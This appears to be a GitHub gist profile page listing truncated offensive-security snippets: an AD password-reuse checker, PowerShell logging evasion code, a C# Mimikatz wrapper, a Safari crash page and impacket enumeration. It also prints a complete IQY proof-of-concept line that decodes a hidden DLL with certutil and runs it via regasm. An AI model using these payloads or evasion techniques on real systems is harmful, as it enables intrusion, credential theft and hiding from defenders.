Skip to content

Instantly share code, notes, and snippets.

View dannymas's full-sized avatar

dannymas

12 followers · 28 following
View GitHub Profile
@dannymas
dannymas / check_hashes.py
Created July 4, 2018 20:47 — forked from bandrel/check_hashes.py
To check for and reveal AD user accounts that share passwords using a hashdump from a Domain Controller
#!/usr/bin/env python3
#Purpose: To check for and reveal AD user accounts that share passwords using a hashdump from a Domain Controller
#Script requires a command line argument of a file containing usernames/hashes in the format of user:sid:LMHASH:NTLMHASH:::
# ./check_hashes.py <hash_dump>
import sys
hashes = {}
with open(sys.argv[1]) as infile:
@dannymas
dannymas / posh.cs
Created July 19, 2018 03:39 — forked from benpturner/posh.cs
No Powershell with Transcript Logging Evasion & ScriptBlock Logging Evasion - eventid 4103,4104,4106
using System;
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Security;
using System.Management.Automation.Runspaces;
using System.Reflection;
namespace TranscriptBypass
{
// Compiling with CSC.exe v4.0.30319 or v3.5
@dannymas
dannymas / katz.cs
Created August 1, 2018 03:50
Updated Katz.cs - Latest Mimikatz, I mean honestly it is 2018...
This file has been truncated, but you can view the full file.
using System;
using System.IO;
using System.Text;
using System.IO.Compression;
using System.EnterpriseServices;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
@dannymas
dannymas / remote.iqy
Created August 4, 2018 04:12 — forked from Mr-Un1k0d3r/remote.iqy
IQY File Remote Payload POC
=cmd|' /c more +12 %userprofile%\Downloads\poc.iqy > %temp%\poc.hex && certutil -decodehex %temp%\poc.hex %temp%\poc.dll && C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U %temp%\poc.dll'!'A1'
@dannymas
dannymas / checksvc.py
Created September 8, 2018 00:07 — forked from wdormann/checksvc.py
Check for insecure services on Windows
import os
import subprocess
import ctypes
# See: https://blogs.msmvps.com/erikr/2007/09/26/set-permissions-on-a-specific-service-windows/
svcinfo = {}
nonadmin = ['AU', 'AN', 'BG', 'BU', 'DG', 'WD', 'IU', 'LG']
FNULL = open(os.devnull, 'w')
@dannymas
dannymas / web-servers.md
Created September 14, 2018 14:50 — forked from willurd/web-servers.md
Big list of http static server one-liners

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

Discussion on reddit.

Python 2.x

$ python -m SimpleHTTPServer 8000
@dannymas
dannymas / CTFWRITE-Bulldog@Vulnhub.md
Created September 17, 2018 02:40 — forked from berzerk0/CTFWRITE-Bulldog@Vulnhub.md
CTF Writeup: Bulldog on VulnHub
@dannymas
dannymas / getloggedon.py
Created September 17, 2018 22:12 — forked from dirkjanm/getloggedon.py
Simple script that uses impacket to enumerate logged on users as admin using NetrWkstaUserEnum and impacket
#!/usr/bin/env python
# Copyright (c) 2012-2018 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Gets logged on users via NetrWkstaUserEnum (requires admin on targets).
# Mostly adapted from netview.py and lookupsid.py
#
@dannymas
dannymas / safari-reaper.html
Created September 18, 2018 23:57
Safari DoS ☠️ (Original tweet: https://twitter.com/pwnsdx/status/1040944750973595649, try it: https://s3.eu-central-1.amazonaws.com/sabri/safari-reaper.html, mirror by @qwertyoruiopz: http://rce.party/CRASH/safari-reaper.html)
<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<style>
body {
background: repeat url('data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/7QCIUGhvdG9zaG9wIDMuMAA4QklNBAQAAAAAAGscAVoAAxslRxwCAAACAAAcAnQAV8KpIENoYWV5b3VuZ1dpbGxOZXZlckNoYWVvbGQgLSBodHRwOi8vd3d3LnJlZGJ1YmJsZS5jb20vcGVvcGxlL0NoYWV5b3VuZ1dpbGxOZXZlckNoYWVvbAD/4gxYSUNDX1BST0ZJTEUAAQEAAAxITGlubwIQAABtbnRyUkdCIFhZWiAHzgACAAkABgAxAABhY3NwTVNGVAAAAABJRUMgc1JHQgAAAAAAAAAAAAAAAAAA9tYAAQAAAADTLUhQICAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABFjcHJ0AAABUAAAADNkZXNjAAABhAAAAGx3dHB0AAAB8AAAABRia3B0AAACBAAAABRyWFlaAAACGAAAABRnWFlaAAACLAAAABRiWFlaAAACQAAAABRkbW5kAAACVAAAAHBkbWRkAAACxAAAAIh2dWVkAAADTAAAAIZ2aWV3AAAD1AAAACRsdW1pAAAD+AAAABRtZWFzAAAEDAAAACR0ZWNoAAAEMAAAAAxyVFJDAAAEPAAACAxnVFJDAAAEPAAACAxiVFJDAAAEPAAACAx0ZXh0AAAAAENvcHlyaWdodCAoYykgMTk5OCBIZXdsZXR0LVBhY2thcmQgQ29tcGFueQAAZGVzYwAAAAAAAAASc1JHQiBJRUM2MTk2Ni0yLjEAAAAAAAAAAAAAABJzUkdCIElFQzYxOTY2LTIuMQAAAAAAAA
@dannymas
dannymas / connect.sh
Created September 20, 2018 23:49 — forked from socketz/connect.sh
Comfortable script for connecting to HackTheBox OpenVPN (alternative to GUI tools)
#!/bin/bash
if [ -f ./ovpn.pid ]; then
OPID=$(cat ./ovpn.pid);
PROGRAM=$(ps -p $OPID | awk 'NR>1 {print $4}')
if [ ! -z $PROGRAM ]; then
kill -15 $OPID;
rm ./ovpn.pid;
fi